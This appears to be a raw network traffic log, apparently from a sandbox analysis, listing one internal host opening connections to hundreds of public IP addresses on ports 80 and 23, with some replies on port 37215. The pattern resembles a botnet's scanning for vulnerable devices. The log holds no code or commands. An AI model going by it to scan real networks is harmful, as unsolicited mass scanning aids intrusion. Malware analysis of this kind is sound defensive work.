Mar 13, 2024 09:35:07.630732059 CET	57141	80	192.168.2.15	200.29.163.149
Mar 13, 2024 09:35:07.630734921 CET	57141	80	192.168.2.15	147.13.33.19
Mar 13, 2024 09:35:07.630753040 CET	57141	80	192.168.2.15	93.226.39.29
Mar 13, 2024 09:35:07.630760908 CET	57141	80	192.168.2.15	149.27.172.78
Mar 13, 2024 09:35:07.630763054 CET	57141	80	192.168.2.15	95.89.80.193
Mar 13, 2024 09:35:07.630774021 CET	57141	80	192.168.2.15	120.43.41.195
Mar 13, 2024 09:35:07.630779028 CET	57141	80	192.168.2.15	107.182.59.213
Mar 13, 2024 09:35:07.630786896 CET	57141	80	192.168.2.15	130.114.220.70
Mar 13, 2024 09:35:07.630790949 CET	57141	80	192.168.2.15	213.119.210.34
Mar 13, 2024 09:35:07.630793095 CET	57141	80	192.168.2.15	201.223.31.25
Mar 13, 2024 09:35:07.630793095 CET	57141	80	192.168.2.15	147.127.215.194
Mar 13, 2024 09:35:07.630820036 CET	57141	80	192.168.2.15	13.13.193.202
Mar 13, 2024 09:35:07.630820036 CET	57141	80	192.168.2.15	151.254.250.206
Mar 13, 2024 09:35:07.630841017 CET	57141	80	192.168.2.15	219.147.151.33
Mar 13, 2024 09:35:07.630845070 CET	57141	80	192.168.2.15	87.109.241.125
Mar 13, 2024 09:35:07.630860090 CET	57141	80	192.168.2.15	20.238.134.225
Mar 13, 2024 09:35:07.630860090 CET	57141	80	192.168.2.15	202.253.16.66
Mar 13, 2024 09:35:07.630867958 CET	57141	80	192.168.2.15	57.193.211.125
Mar 13, 2024 09:35:07.630871058 CET	57141	80	192.168.2.15	37.87.226.225
Mar 13, 2024 09:35:07.630889893 CET	57141	80	192.168.2.15	152.149.120.50
Mar 13, 2024 09:35:07.630897045 CET	57141	80	192.168.2.15	85.187.227.45
Mar 13, 2024 09:35:07.630897045 CET	57141	80	192.168.2.15	66.59.89.178
Mar 13, 2024 09:35:07.630903959 CET	57141	80	192.168.2.15	164.141.97.80
Mar 13, 2024 09:35:07.630904913 CET	57141	80	192.168.2.15	43.216.191.0
Mar 13, 2024 09:35:07.630922079 CET	57141	80	192.168.2.15	185.14.193.41
Mar 13, 2024 09:35:07.630950928 CET	57141	80	192.168.2.15	67.198.122.61
Mar 13, 2024 09:35:07.630950928 CET	57141	80	192.168.2.15	86.36.185.183
Mar 13, 2024 09:35:07.630951881 CET	57141	80	192.168.2.15	51.146.227.208
Mar 13, 2024 09:35:07.630954981 CET	57141	80	192.168.2.15	158.117.65.2
Mar 13, 2024 09:35:07.630954981 CET	57141	80	192.168.2.15	31.31.152.186
Mar 13, 2024 09:35:07.630959988 CET	57141	80	192.168.2.15	19.67.41.236
Mar 13, 2024 09:35:07.630968094 CET	57141	80	192.168.2.15	80.88.152.27
Mar 13, 2024 09:35:07.630980968 CET	57141	80	192.168.2.15	9.108.243.49
Mar 13, 2024 09:35:07.630980968 CET	57141	80	192.168.2.15	213.199.111.44
Mar 13, 2024 09:35:07.630990028 CET	57141	80	192.168.2.15	132.69.100.19
Mar 13, 2024 09:35:07.630997896 CET	57141	80	192.168.2.15	8.210.65.17
Mar 13, 2024 09:35:07.631021976 CET	57141	80	192.168.2.15	168.139.192.65
Mar 13, 2024 09:35:07.631033897 CET	57141	80	192.168.2.15	191.86.196.166
Mar 13, 2024 09:35:07.631055117 CET	57141	80	192.168.2.15	135.190.147.189
Mar 13, 2024 09:35:07.631057978 CET	57141	80	192.168.2.15	72.232.12.5
Mar 13, 2024 09:35:07.631067991 CET	57141	80	192.168.2.15	78.195.63.57
Mar 13, 2024 09:35:07.631068945 CET	57141	80	192.168.2.15	96.65.52.250
Mar 13, 2024 09:35:07.631072044 CET	57141	80	192.168.2.15	198.129.65.229
Mar 13, 2024 09:35:07.631073952 CET	57141	80	192.168.2.15	90.220.166.60
Mar 13, 2024 09:35:07.631077051 CET	57141	80	192.168.2.15	131.155.96.157
Mar 13, 2024 09:35:07.631079912 CET	57141	80	192.168.2.15	199.130.34.139
Mar 13, 2024 09:35:07.631088972 CET	57141	80	192.168.2.15	32.245.141.42
Mar 13, 2024 09:35:07.631098986 CET	57141	80	192.168.2.15	160.65.225.112
Mar 13, 2024 09:35:07.631115913 CET	57141	80	192.168.2.15	171.125.248.85
Mar 13, 2024 09:35:07.631140947 CET	57141	80	192.168.2.15	167.122.44.30
Mar 13, 2024 09:35:07.631148100 CET	57141	80	192.168.2.15	180.225.158.120
Mar 13, 2024 09:35:07.631155014 CET	57141	80	192.168.2.15	136.239.128.92
Mar 13, 2024 09:35:07.631156921 CET	57141	80	192.168.2.15	155.94.27.3
Mar 13, 2024 09:35:07.631176949 CET	57141	80	192.168.2.15	54.153.226.90
Mar 13, 2024 09:35:07.631176949 CET	57141	80	192.168.2.15	101.225.54.59
Mar 13, 2024 09:35:07.631180048 CET	57141	80	192.168.2.15	136.251.25.208
Mar 13, 2024 09:35:07.631180048 CET	57141	80	192.168.2.15	62.132.20.48
Mar 13, 2024 09:35:07.631195068 CET	57141	80	192.168.2.15	36.44.182.252
Mar 13, 2024 09:35:07.631208897 CET	57141	80	192.168.2.15	222.181.29.255
Mar 13, 2024 09:35:07.631220102 CET	57141	80	192.168.2.15	192.75.188.153
Mar 13, 2024 09:35:07.631232977 CET	57141	80	192.168.2.15	198.62.226.7
Mar 13, 2024 09:35:07.631259918 CET	57141	80	192.168.2.15	217.20.238.156
Mar 13, 2024 09:35:07.631259918 CET	57141	80	192.168.2.15	38.82.211.219
Mar 13, 2024 09:35:07.631264925 CET	57141	80	192.168.2.15	141.77.20.43
Mar 13, 2024 09:35:07.631275892 CET	57141	80	192.168.2.15	67.44.108.208
Mar 13, 2024 09:35:07.631278038 CET	57141	80	192.168.2.15	57.3.49.112
Mar 13, 2024 09:35:07.631290913 CET	57141	80	192.168.2.15	197.195.103.253
Mar 13, 2024 09:35:07.631299973 CET	57141	80	192.168.2.15	118.31.143.223
Mar 13, 2024 09:35:07.631303072 CET	57141	80	192.168.2.15	181.55.229.154
Mar 13, 2024 09:35:07.631304979 CET	57141	80	192.168.2.15	201.152.128.151
Mar 13, 2024 09:35:07.631309032 CET	57141	80	192.168.2.15	152.160.231.200
Mar 13, 2024 09:35:07.631326914 CET	57141	80	192.168.2.15	148.237.180.37
Mar 13, 2024 09:35:07.631328106 CET	57141	80	192.168.2.15	204.175.181.26
Mar 13, 2024 09:35:07.631330967 CET	57141	80	192.168.2.15	71.84.3.35
Mar 13, 2024 09:35:07.631357908 CET	57141	80	192.168.2.15	110.82.164.98
Mar 13, 2024 09:35:07.631359100 CET	57141	80	192.168.2.15	126.27.167.52
Mar 13, 2024 09:35:07.631366968 CET	57141	80	192.168.2.15	195.141.124.100
Mar 13, 2024 09:35:07.631367922 CET	57141	80	192.168.2.15	163.0.122.156
Mar 13, 2024 09:35:07.631372929 CET	57141	80	192.168.2.15	42.115.20.124
Mar 13, 2024 09:35:07.631381035 CET	57141	80	192.168.2.15	50.225.109.171
Mar 13, 2024 09:35:07.631382942 CET	57141	80	192.168.2.15	62.4.45.191
Mar 13, 2024 09:35:07.631393909 CET	57141	80	192.168.2.15	60.57.91.54
Mar 13, 2024 09:35:07.631397009 CET	57141	80	192.168.2.15	18.250.83.124
Mar 13, 2024 09:35:07.631402016 CET	57141	80	192.168.2.15	120.114.209.176
Mar 13, 2024 09:35:07.631402016 CET	57141	80	192.168.2.15	141.236.111.184
Mar 13, 2024 09:35:07.631411076 CET	57141	80	192.168.2.15	81.102.161.181
Mar 13, 2024 09:35:07.631433010 CET	57141	80	192.168.2.15	48.150.61.81
Mar 13, 2024 09:35:07.631436110 CET	57141	80	192.168.2.15	124.242.88.242
Mar 13, 2024 09:35:07.631436110 CET	57141	80	192.168.2.15	57.131.57.6
Mar 13, 2024 09:35:07.631441116 CET	57141	80	192.168.2.15	12.112.224.40
Mar 13, 2024 09:35:07.631450891 CET	57141	80	192.168.2.15	188.12.209.245
Mar 13, 2024 09:35:07.631450891 CET	57141	80	192.168.2.15	54.150.81.10
Mar 13, 2024 09:35:07.631467104 CET	57141	80	192.168.2.15	67.47.211.197
Mar 13, 2024 09:35:07.631480932 CET	57141	80	192.168.2.15	47.87.73.181
Mar 13, 2024 09:35:07.631480932 CET	57141	80	192.168.2.15	197.62.205.130
Mar 13, 2024 09:35:07.631484985 CET	57141	80	192.168.2.15	35.58.24.50
Mar 13, 2024 09:35:07.631509066 CET	57141	80	192.168.2.15	193.227.177.176
Mar 13, 2024 09:35:07.631510973 CET	57141	80	192.168.2.15	128.157.230.22
Mar 13, 2024 09:35:07.631520987 CET	57141	80	192.168.2.15	204.77.90.255
Mar 13, 2024 09:35:07.631521940 CET	57141	80	192.168.2.15	72.167.127.66
Mar 13, 2024 09:35:07.631525040 CET	57141	80	192.168.2.15	121.42.124.4
Mar 13, 2024 09:35:07.631521940 CET	57141	80	192.168.2.15	134.106.228.108
Mar 13, 2024 09:35:07.631536007 CET	57141	80	192.168.2.15	25.82.16.67
Mar 13, 2024 09:35:07.631544113 CET	57141	80	192.168.2.15	167.245.39.166
Mar 13, 2024 09:35:07.631547928 CET	57141	80	192.168.2.15	179.49.116.254
Mar 13, 2024 09:35:07.631563902 CET	57141	80	192.168.2.15	8.71.181.131
Mar 13, 2024 09:35:07.631568909 CET	57141	80	192.168.2.15	96.19.2.78
Mar 13, 2024 09:35:07.631572962 CET	57141	80	192.168.2.15	95.70.16.246
Mar 13, 2024 09:35:07.631602049 CET	57141	80	192.168.2.15	52.56.203.149
Mar 13, 2024 09:35:07.631602049 CET	57141	80	192.168.2.15	38.207.15.177
Mar 13, 2024 09:35:07.631627083 CET	57141	80	192.168.2.15	176.149.61.67
Mar 13, 2024 09:35:07.631632090 CET	57141	80	192.168.2.15	182.251.32.192
Mar 13, 2024 09:35:07.631634951 CET	57141	80	192.168.2.15	65.159.33.176
Mar 13, 2024 09:35:07.631640911 CET	57141	80	192.168.2.15	71.124.147.219
Mar 13, 2024 09:35:07.631643057 CET	57141	80	192.168.2.15	157.87.252.241
Mar 13, 2024 09:35:07.631653070 CET	57141	80	192.168.2.15	71.101.15.56
Mar 13, 2024 09:35:07.631661892 CET	57141	80	192.168.2.15	44.135.111.60
Mar 13, 2024 09:35:07.631668091 CET	57141	80	192.168.2.15	76.150.130.243
Mar 13, 2024 09:35:07.631669044 CET	57141	80	192.168.2.15	151.78.190.198
Mar 13, 2024 09:35:07.631674051 CET	57141	80	192.168.2.15	161.78.32.51
Mar 13, 2024 09:35:07.631690979 CET	57141	80	192.168.2.15	91.41.107.194
Mar 13, 2024 09:35:07.631712914 CET	57141	80	192.168.2.15	182.153.140.158
Mar 13, 2024 09:35:07.631720066 CET	57141	80	192.168.2.15	109.195.162.91
Mar 13, 2024 09:35:07.631741047 CET	57141	80	192.168.2.15	222.92.231.74
Mar 13, 2024 09:35:07.631747961 CET	57141	80	192.168.2.15	45.31.74.86
Mar 13, 2024 09:35:07.631748915 CET	57141	80	192.168.2.15	108.142.26.101
Mar 13, 2024 09:35:07.631748915 CET	57141	80	192.168.2.15	178.161.151.135
Mar 13, 2024 09:35:07.631755114 CET	57141	80	192.168.2.15	206.206.75.205
Mar 13, 2024 09:35:07.631758928 CET	57141	80	192.168.2.15	9.15.99.47
Mar 13, 2024 09:35:07.631779909 CET	57141	80	192.168.2.15	86.194.42.189
Mar 13, 2024 09:35:07.631781101 CET	57141	80	192.168.2.15	123.13.196.90
Mar 13, 2024 09:35:07.631788015 CET	57141	80	192.168.2.15	168.137.137.130
Mar 13, 2024 09:35:07.631793976 CET	57141	80	192.168.2.15	79.81.177.6
Mar 13, 2024 09:35:07.631795883 CET	57141	80	192.168.2.15	67.231.152.215
Mar 13, 2024 09:35:07.631804943 CET	57141	80	192.168.2.15	179.215.254.101
Mar 13, 2024 09:35:07.631830931 CET	57141	80	192.168.2.15	17.90.59.234
Mar 13, 2024 09:35:07.631836891 CET	57141	80	192.168.2.15	186.137.35.248
Mar 13, 2024 09:35:07.631836891 CET	57141	80	192.168.2.15	5.236.146.124
Mar 13, 2024 09:35:07.631850004 CET	57141	80	192.168.2.15	126.63.93.111
Mar 13, 2024 09:35:07.631854057 CET	57141	80	192.168.2.15	32.103.148.135
Mar 13, 2024 09:35:07.631858110 CET	57141	80	192.168.2.15	108.1.49.149
Mar 13, 2024 09:35:07.631861925 CET	57141	80	192.168.2.15	104.131.41.32
Mar 13, 2024 09:35:07.631864071 CET	57141	80	192.168.2.15	83.29.210.165
Mar 13, 2024 09:35:07.631865025 CET	57141	80	192.168.2.15	9.212.63.100
Mar 13, 2024 09:35:07.631866932 CET	57141	80	192.168.2.15	170.246.244.160
Mar 13, 2024 09:35:07.631876945 CET	57141	80	192.168.2.15	52.11.41.143
Mar 13, 2024 09:35:07.631876945 CET	57141	80	192.168.2.15	50.205.210.147
Mar 13, 2024 09:35:07.631896019 CET	57141	80	192.168.2.15	69.169.74.254
Mar 13, 2024 09:35:07.631901979 CET	57141	80	192.168.2.15	115.213.232.76
Mar 13, 2024 09:35:07.631922960 CET	57141	80	192.168.2.15	210.93.245.199
Mar 13, 2024 09:35:07.631923914 CET	57141	80	192.168.2.15	95.65.195.53
Mar 13, 2024 09:35:07.631927967 CET	57141	80	192.168.2.15	4.167.57.48
Mar 13, 2024 09:35:07.631948948 CET	57141	80	192.168.2.15	42.8.142.114
Mar 13, 2024 09:35:07.631958961 CET	57141	80	192.168.2.15	159.241.236.110
Mar 13, 2024 09:35:07.631978035 CET	57141	80	192.168.2.15	147.230.238.181
Mar 13, 2024 09:35:07.631987095 CET	57141	80	192.168.2.15	52.98.27.0
Mar 13, 2024 09:35:07.631989956 CET	57141	80	192.168.2.15	41.155.191.77
Mar 13, 2024 09:35:07.631989956 CET	57141	80	192.168.2.15	78.170.249.135
Mar 13, 2024 09:35:07.631999969 CET	57141	80	192.168.2.15	170.50.181.188
Mar 13, 2024 09:35:07.632019997 CET	57141	80	192.168.2.15	167.221.140.41
Mar 13, 2024 09:35:07.632020950 CET	57141	80	192.168.2.15	177.148.171.122
Mar 13, 2024 09:35:07.632028103 CET	57141	80	192.168.2.15	49.46.228.59
Mar 13, 2024 09:35:07.632030010 CET	57141	80	192.168.2.15	166.230.23.132
Mar 13, 2024 09:35:07.632034063 CET	57141	80	192.168.2.15	38.12.245.163
Mar 13, 2024 09:35:07.632039070 CET	57141	80	192.168.2.15	48.98.52.226
Mar 13, 2024 09:35:07.632055998 CET	57141	80	192.168.2.15	187.164.156.251
Mar 13, 2024 09:35:07.632055998 CET	57141	80	192.168.2.15	181.138.76.34
Mar 13, 2024 09:35:07.632056952 CET	57141	80	192.168.2.15	164.221.203.69
Mar 13, 2024 09:35:07.632060051 CET	57141	80	192.168.2.15	181.161.225.178
Mar 13, 2024 09:35:07.632066965 CET	57141	80	192.168.2.15	71.84.48.190
Mar 13, 2024 09:35:07.632091045 CET	57141	80	192.168.2.15	54.121.100.20
Mar 13, 2024 09:35:07.632091045 CET	57141	80	192.168.2.15	141.123.19.229
Mar 13, 2024 09:35:07.632112026 CET	57141	80	192.168.2.15	132.92.197.135
Mar 13, 2024 09:35:07.632112980 CET	57141	80	192.168.2.15	168.43.125.152
Mar 13, 2024 09:35:07.632112980 CET	57141	80	192.168.2.15	103.76.137.209
Mar 13, 2024 09:35:07.632123947 CET	57141	80	192.168.2.15	12.207.80.72
Mar 13, 2024 09:35:07.632128000 CET	57141	80	192.168.2.15	87.181.94.95
Mar 13, 2024 09:35:07.632133961 CET	57141	80	192.168.2.15	38.71.153.247
Mar 13, 2024 09:35:07.632139921 CET	57141	80	192.168.2.15	213.204.95.121
Mar 13, 2024 09:35:07.632148981 CET	57141	80	192.168.2.15	41.14.119.154
Mar 13, 2024 09:35:07.632158041 CET	57141	80	192.168.2.15	219.68.106.125
Mar 13, 2024 09:35:07.632174969 CET	57141	80	192.168.2.15	139.15.134.244
Mar 13, 2024 09:35:07.647326946 CET	23	55488	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:07.647439957 CET	55488	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:07.648829937 CET	37215	57653	41.161.35.99	192.168.2.15
Mar 13, 2024 09:35:07.651284933 CET	23	55486	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:07.658833981 CET	37215	57653	41.175.7.48	192.168.2.15
Mar 13, 2024 09:35:07.736037016 CET	80	57141	209.15.94.249	192.168.2.15
Mar 13, 2024 09:35:07.759435892 CET	80	57141	23.231.39.12	192.168.2.15
Mar 13, 2024 09:35:07.759521008 CET	57141	80	192.168.2.15	23.231.39.12
Mar 13, 2024 09:35:07.764086008 CET	80	57141	64.82.156.1	192.168.2.15
Mar 13, 2024 09:35:07.781196117 CET	80	57141	72.167.127.66	192.168.2.15
Mar 13, 2024 09:35:07.781276941 CET	57141	80	192.168.2.15	72.167.127.66
Mar 13, 2024 09:35:07.791464090 CET	80	57141	52.56.203.149	192.168.2.15
Mar 13, 2024 09:35:07.791541100 CET	57141	80	192.168.2.15	52.56.203.149
Mar 13, 2024 09:35:07.805113077 CET	80	57141	52.10.50.109	192.168.2.15
Mar 13, 2024 09:35:07.805176020 CET	57141	80	192.168.2.15	52.10.50.109
Mar 13, 2024 09:35:07.807482958 CET	80	57141	52.25.160.0	192.168.2.15
Mar 13, 2024 09:35:07.807564020 CET	57141	80	192.168.2.15	52.25.160.0
Mar 13, 2024 09:35:07.807940960 CET	80	57141	147.127.215.194	192.168.2.15
Mar 13, 2024 09:35:07.807996035 CET	57141	80	192.168.2.15	147.127.215.194
Mar 13, 2024 09:35:07.840390921 CET	23	55488	62.168.11.17	192.168.2.15
Mar 13, 2024 09:35:07.840492010 CET	55488	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:07.840503931 CET	56885	23	192.168.2.15	42.142.162.124
Mar 13, 2024 09:35:07.840507030 CET	55490	23	192.168.2.15	62.168.11.17
Mar 13, 2024 09:35:07.840507030 CET	56885	23	192.168.2.15	89.190.98.201
Mar 13, 2024 09:35:07.840518951 CET	56885	23	192.168.2.15	35.193.217.235
Mar 13, 2024 09:35:07.840524912 CET	56885	23	192.168.2.15	85.34.164.65
Mar 13, 2024 09:35:07.840529919 CET	56885	23	192.168.2.15	196.33.191.147
Mar 13, 2024 09:35:07.840534925 CET	56885	23	192.168.2.15	67.43.2.112
Mar 13, 2024 09:35:07.840534925 CET	56885	23	192.168.2.15	47.203.175.188
Mar 13, 2024 09:35:07.840540886 CET	56885	23	192.168.2.15	37.155.213.202
Mar 13, 2024 09:35:07.840540886 CET	56885	23	192.168.2.15	107.186.153.199
Mar 13, 2024 09:35:07.840540886 CET	56885	23	192.168.2.15	188.211.158.133
Mar 13, 2024 09:35:07.840540886 CET	56885	23	192.168.2.15	4.85.42.244
Mar 13, 2024 09:35:07.840549946 CET	56885	23	192.168.2.15	186.240.141.11
Mar 13, 2024 09:35:07.840549946 CET	56885	23	192.168.2.15	8.204.195.47
Mar 13, 2024 09:35:07.840553045 CET	56885	23	192.168.2.15	146.238.230.27
Mar 13, 2024 09:35:07.840568066 CET	56885	23	192.168.2.15	79.210.7.253
Mar 13, 2024 09:35:07.840568066 CET	56885	23	192.168.2.15	190.114.154.42
Mar 13, 2024 09:35:07.840569973 CET	56885	23	192.168.2.15	35.28.226.239
Mar 13, 2024 09:35:07.840569973 CET	56885	23	192.168.2.15	72.226.35.38
Mar 13, 2024 09:35:07.840569973 CET	56885	23	192.168.2.15	106.7.215.137
Mar 13, 2024 09:35:07.840579033 CET	56885	23	192.168.2.15	54.145.176.138
Mar 13, 2024 09:35:07.840579033 CET	56885	23	192.168.2.15	114.76.226.103
Mar 13, 2024 09:35:07.840579987 CET	56885	23	192.168.2.15	157.113.86.140
Mar 13, 2024 09:35:07.840579033 CET	56885	23	192.168.2.15	204.88.209.120
Mar 13, 2024 09:35:07.840579987 CET	56885	23	192.168.2.15	207.164.235.134
Mar 13, 2024 09:35:07.840579033 CET	56885	23	192.168.2.15	4.31.165.151
Mar 13, 2024 09:35:07.840579033 CET	56885	23	192.168.2.15	178.42.215.151
Mar 13, 2024 09:35:07.840579987 CET	56885	23	192.168.2.15	87.169.6.89
Mar 13, 2024 09:35:07.840590954 CET	56885	23	192.168.2.15	98.156.135.134
Mar 13, 2024 09:35:07.840590954 CET	56885	23	192.168.2.15	190.143.40.55
Mar 13, 2024 09:35:07.840590954 CET	56885	23	192.168.2.15	42.89.126.251
Mar 13, 2024 09:35:07.840590954 CET	56885	23	192.168.2.15	44.75.121.75
Mar 13, 2024 09:35:07.840594053 CET	56885	23	192.168.2.15	186.136.120.171
Mar 13, 2024 09:35:07.840595007 CET	56885	23	192.168.2.15	212.53.22.191
Mar 13, 2024 09:35:07.840594053 CET	56885	23	192.168.2.15	165.147.242.234
Mar 13, 2024 09:35:07.840594053 CET	56885	23	192.168.2.15	183.19.48.196
Mar 13, 2024 09:35:07.840594053 CET	56885	23	192.168.2.15	221.165.169.117
Mar 13, 2024 09:35:07.840594053 CET	56885	23	192.168.2.15	59.97.223.169
Mar 13, 2024 09:35:07.840605974 CET	56885	23	192.168.2.15	178.99.224.137
Mar 13, 2024 09:35:07.840605974 CET	56885	23	192.168.2.15	45.247.49.174
Mar 13, 2024 09:35:07.840605974 CET	56885	23	192.168.2.15	131.222.167.251
Mar 13, 2024 09:35:07.840611935 CET	56885	23	192.168.2.15	17.102.177.157
Mar 13, 2024 09:35:07.840605974 CET	56885	23	192.168.2.15	105.244.31.70
Mar 13, 2024 09:35:07.840615034 CET	56885	23	192.168.2.15	51.5.157.71
Mar 13, 2024 09:35:07.840615034 CET	56885	23	192.168.2.15	106.113.62.223
Mar 13, 2024 09:35:07.840615988 CET	56885	23	192.168.2.15	140.207.27.225
Mar 13, 2024 09:35:07.840615988 CET	56885	23	192.168.2.15	53.122.177.214
Mar 13, 2024 09:35:07.840631008 CET	56885	23	192.168.2.15	135.114.109.226
Mar 13, 2024 09:35:07.840642929 CET	56885	23	192.168.2.15	110.61.166.235
Mar 13, 2024 09:35:07.840642929 CET	56885	23	192.168.2.15	124.176.86.146
Mar 13, 2024 09:35:07.840642929 CET	56885	23	192.168.2.15	38.111.113.241
Mar 13, 2024 09:35:07.840642929 CET	56885	23	192.168.2.15	50.115.78.67
Mar 13, 2024 09:35:07.840650082 CET	56885	23	192.168.2.15	5.222.34.20
Mar 13, 2024 09:35:07.840650082 CET	56885	23	192.168.2.15	107.225.185.7
Mar 13, 2024 09:35:07.840652943 CET	56885	23	192.168.2.15	66.162.73.57
Mar 13, 2024 09:35:07.840652943 CET	56885	23	192.168.2.15	100.171.238.224
Mar 13, 2024 09:35:07.840652943 CET	56885	23	192.168.2.15	46.109.65.25
Mar 13, 2024 09:35:07.840652943 CET	56885	23	192.168.2.15	183.141.246.59
Mar 13, 2024 09:35:07.840662003 CET	56885	23	192.168.2.15	162.28.120.174
Mar 13, 2024 09:35:07.840662003 CET	56885	23	192.168.2.15	75.26.138.2
Mar 13, 2024 09:35:07.840662003 CET	56885	23	192.168.2.15	125.46.170.192
Mar 13, 2024 09:35:07.840662003 CET	56885	23	192.168.2.15	122.95.213.171
Mar 13, 2024 09:35:07.840668917 CET	56885	23	192.168.2.15	211.136.22.40
Mar 13, 2024 09:35:07.840668917 CET	56885	23	192.168.2.15	5.137.35.141
Mar 13, 2024 09:35:07.840670109 CET	56885	23	192.168.2.15	174.84.81.78
Mar 13, 2024 09:35:07.840672016 CET	56885	23	192.168.2.15	101.146.208.192
Mar 13, 2024 09:35:07.840675116 CET	56885	23	192.168.2.15	197.197.251.48
Mar 13, 2024 09:35:07.840677977 CET	56885	23	192.168.2.15	136.159.231.192
Mar 13, 2024 09:35:07.840677977 CET	56885	23	192.168.2.15	156.80.8.255
Mar 13, 2024 09:35:07.840677977 CET	56885	23	192.168.2.15	48.12.49.55
Mar 13, 2024 09:35:07.840677977 CET	56885	23	192.168.2.15	100.2.29.200
Mar 13, 2024 09:35:07.840681076 CET	56885	23	192.168.2.15	57.244.61.9
Mar 13, 2024 09:35:07.840682030 CET	56885	23	192.168.2.15	156.63.182.141
Mar 13, 2024 09:35:07.840682030 CET	56885	23	192.168.2.15	162.45.110.25
Mar 13, 2024 09:35:07.840682030 CET	56885	23	192.168.2.15	179.212.168.200
Mar 13, 2024 09:35:07.840682030 CET	56885	23	192.168.2.15	84.192.46.145
Mar 13, 2024 09:35:07.840682030 CET	56885	23	192.168.2.15	83.112.25.135
Mar 13, 2024 09:35:07.840682030 CET	56885	23	192.168.2.15	212.20.220.2
Mar 13, 2024 09:35:07.840692043 CET	56885	23	192.168.2.15	25.48.116.176
Mar 13, 2024 09:35:07.840692043 CET	56885	23	192.168.2.15	212.127.74.91
Mar 13, 2024 09:35:07.840696096 CET	56885	23	192.168.2.15	118.138.207.100
Mar 13, 2024 09:35:07.840699911 CET	56885	23	192.168.2.15	198.141.176.10
Mar 13, 2024 09:35:07.840699911 CET	56885	23	192.168.2.15	99.204.191.233
Mar 13, 2024 09:35:07.840702057 CET	56885	23	192.168.2.15	23.22.86.238
Mar 13, 2024 09:35:07.840702057 CET	56885	23	192.168.2.15	87.61.115.199
Mar 13, 2024 09:35:07.840702057 CET	56885	23	192.168.2.15	13.233.104.80
Mar 13, 2024 09:35:07.840708971 CET	56885	23	192.168.2.15	132.64.160.82
Mar 13, 2024 09:35:07.840717077 CET	56885	23	192.168.2.15	88.130.131.205
Mar 13, 2024 09:35:07.840717077 CET	56885	23	192.168.2.15	204.153.79.51
Mar 13, 2024 09:35:07.840717077 CET	56885	23	192.168.2.15	160.4.136.65
Mar 13, 2024 09:35:07.840717077 CET	56885	23	192.168.2.15	60.142.90.55
Mar 13, 2024 09:35:07.840728045 CET	56885	23	192.168.2.15	102.149.92.78
Mar 13, 2024 09:35:07.840728998 CET	56885	23	192.168.2.15	203.242.69.197
Mar 13, 2024 09:35:07.840728998 CET	56885	23	192.168.2.15	133.248.218.29
Mar 13, 2024 09:35:07.840733051 CET	56885	23	192.168.2.15	157.169.123.67
Mar 13, 2024 09:35:07.840733051 CET	56885	23	192.168.2.15	180.150.41.135
Mar 13, 2024 09:35:07.840734005 CET	56885	23	192.168.2.15	114.213.50.214
Mar 13, 2024 09:35:07.840733051 CET	56885	23	192.168.2.15	164.108.190.189
Mar 13, 2024 09:35:07.840734005 CET	56885	23	192.168.2.15	119.76.233.226
Mar 13, 2024 09:35:07.840733051 CET	56885	23	192.168.2.15	106.123.50.16
Mar 13, 2024 09:35:07.840733051 CET	56885	23	192.168.2.15	199.120.194.53
Mar 13, 2024 09:35:07.840733051 CET	56885	23	192.168.2.15	190.145.146.224
Mar 13, 2024 09:35:07.840733051 CET	56885	23	192.168.2.15	156.150.15.217
Mar 13, 2024 09:35:07.840734005 CET	56885	23	192.168.2.15	65.52.117.228
Mar 13, 2024 09:35:07.840734005 CET	56885	23	192.168.2.15	45.80.198.253
Mar 13, 2024 09:35:07.840743065 CET	56885	23	192.168.2.15	36.237.215.59
Mar 13, 2024 09:35:07.840745926 CET	56885	23	192.168.2.15	165.29.248.68
Mar 13, 2024 09:35:07.840751886 CET	56885	23	192.168.2.15	206.60.53.202
Mar 13, 2024 09:35:07.840751886 CET	56885	23	192.168.2.15	151.162.180.113
Mar 13, 2024 09:35:07.840753078 CET	56885	23	192.168.2.15	4.117.8.38
Mar 13, 2024 09:35:07.840764046 CET	56885	23	192.168.2.15	194.182.139.204
Mar 13, 2024 09:35:07.840771914 CET	56885	23	192.168.2.15	149.199.41.247
Mar 13, 2024 09:35:07.840773106 CET	56885	23	192.168.2.15	141.144.101.43
Mar 13, 2024 09:35:07.840773106 CET	56885	23	192.168.2.15	169.58.165.189
Mar 13, 2024 09:35:07.840773106 CET	56885	23	192.168.2.15	38.162.137.192
Mar 13, 2024 09:35:07.840771914 CET	56885	23	192.168.2.15	149.8.82.91
Mar 13, 2024 09:35:07.840776920 CET	56885	23	192.168.2.15	118.140.59.126
Mar 13, 2024 09:35:07.840790987 CET	56885	23	192.168.2.15	176.123.156.200
Mar 13, 2024 09:35:07.840790987 CET	56885	23	192.168.2.15	85.76.173.146
Mar 13, 2024 09:35:07.840802908 CET	56885	23	192.168.2.15	77.241.251.140
Mar 13, 2024 09:35:07.840802908 CET	56885	23	192.168.2.15	44.141.109.53
Mar 13, 2024 09:35:07.840802908 CET	56885	23	192.168.2.15	50.165.99.81
Mar 13, 2024 09:35:07.840802908 CET	56885	23	192.168.2.15	140.200.147.33
Mar 13, 2024 09:35:07.840802908 CET	56885	23	192.168.2.15	93.99.100.48
Mar 13, 2024 09:35:07.840812922 CET	56885	23	192.168.2.15	66.85.111.9
Mar 13, 2024 09:35:07.840812922 CET	56885	23	192.168.2.15	66.23.140.72
Mar 13, 2024 09:35:07.840812922 CET	56885	23	192.168.2.15	153.84.179.200
Mar 13, 2024 09:35:07.840815067 CET	56885	23	192.168.2.15	105.100.201.178
Mar 13, 2024 09:35:07.840816975 CET	56885	23	192.168.2.15	2.104.87.180
Mar 13, 2024 09:35:07.840815067 CET	56885	23	192.168.2.15	172.137.46.217
Mar 13, 2024 09:35:07.840821981 CET	56885	23	192.168.2.15	47.47.237.132
Mar 13, 2024 09:35:07.840823889 CET	56885	23	192.168.2.15	79.74.199.62
Mar 13, 2024 09:35:07.840825081 CET	56885	23	192.168.2.15	92.173.126.247
Mar 13, 2024 09:35:07.840825081 CET	56885	23	192.168.2.15	206.52.60.65
Mar 13, 2024 09:35:07.840843916 CET	56885	23	192.168.2.15	95.195.87.106
Mar 13, 2024 09:35:07.840846062 CET	56885	23	192.168.2.15	103.239.59.34
Mar 13, 2024 09:35:07.840847015 CET	56885	23	192.168.2.15	213.25.141.241
